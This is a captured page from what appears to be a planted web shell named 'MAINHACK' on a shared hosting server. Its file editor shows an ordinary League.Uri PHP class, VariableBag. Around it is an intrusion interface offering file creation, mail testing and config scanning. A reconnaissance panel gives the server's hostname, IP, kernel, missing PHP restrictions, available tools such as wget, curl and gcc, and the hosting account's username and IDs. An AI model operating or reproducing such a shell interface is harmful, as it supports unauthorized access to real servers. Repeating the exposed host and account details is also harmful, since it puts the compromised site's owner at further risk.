[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: VariableBag.php
<?php /** * League.Uri (https://uri.thephpleague.com) * * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\UriTemplate; use ArrayAccess; use Closure; use Countable; use IteratorAggregate; use Stringable; use Traversable; use function array_filter; use function is_bool; use function is_scalar; use const ARRAY_FILTER_USE_BOTH; /** * @internal The class exposes the internal representation of variable bags * * @phpstan-type InputValue string|bool|int|float|array<string|bool|int|float> * * @implements ArrayAccess<string, InputValue> * @implements IteratorAggregate<string, InputValue> */ final class VariableBag implements ArrayAccess, Countable, IteratorAggregate { /** * @var array<string,string|array<string>> */ private array $variables = []; /** * @param iterable<array-key, InputValue> $variables */ public function __construct(iterable $variables = []) { foreach ($variables as $name => $value) { $this->assign((string) $name, $value); } } public function count(): int { return count($this->variables); } public function getIterator(): Traversable { yield from $this->variables; } public function offsetExists(mixed $offset): bool { return array_key_exists($offset, $this->variables); } public function offsetUnset(mixed $offset): void { unset($this->variables[$offset]); } public function offsetSet(mixed $offset, mixed $value): void { $this->assign($offset, $value); /* @phpstan-ignore-line */ } public function offsetGet(mixed $offset): mixed { return $this->fetch($offset); } /** * Tells whether the bag is empty or not. */ public function isEmpty(): bool { return [] === $this->variables; } /** * Tells whether the bag is empty or not. */ public function isNotEmpty(): bool { return [] !== $this->variables; } /** * Fetches the variable value if none found returns null. * * @return null|string|array<string> */ public function fetch(string $name): null|string|array { return $this->variables[$name] ?? null; } /** * @param Stringable|InputValue $value */ public function assign(string $name, Stringable|string|bool|int|float|array|null $value): void { $this->variables[$name] = $this->normalizeValue($value, $name, true); } /** * @param Stringable|InputValue $value * * @throws TemplateCanNotBeExpanded if the value contains nested list */ private function normalizeValue( Stringable|string|float|int|bool|array|null $value, string $name, bool $isNestedListAllowed ): array|string { return match (true) { is_bool($value) => true === $value ? '1' : '0', (null === $value || is_scalar($value) || $value instanceof Stringable) => (string) $value, !$isNestedListAllowed => throw TemplateCanNotBeExpanded::dueToNestedListOfValue($name), default => array_map(fn ($var): array|string => self::normalizeValue($var, $name, false), $value), }; } /** * Replaces elements from passed variables into the current instance. */ public function replace(VariableBag $variables): self { return new self($this->variables + $variables->variables); } /** * Filters elements using the closure. */ public function filter(Closure $fn): self { return new self(array_filter($this->variables, $fn, ARRAY_FILTER_USE_BOTH)); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285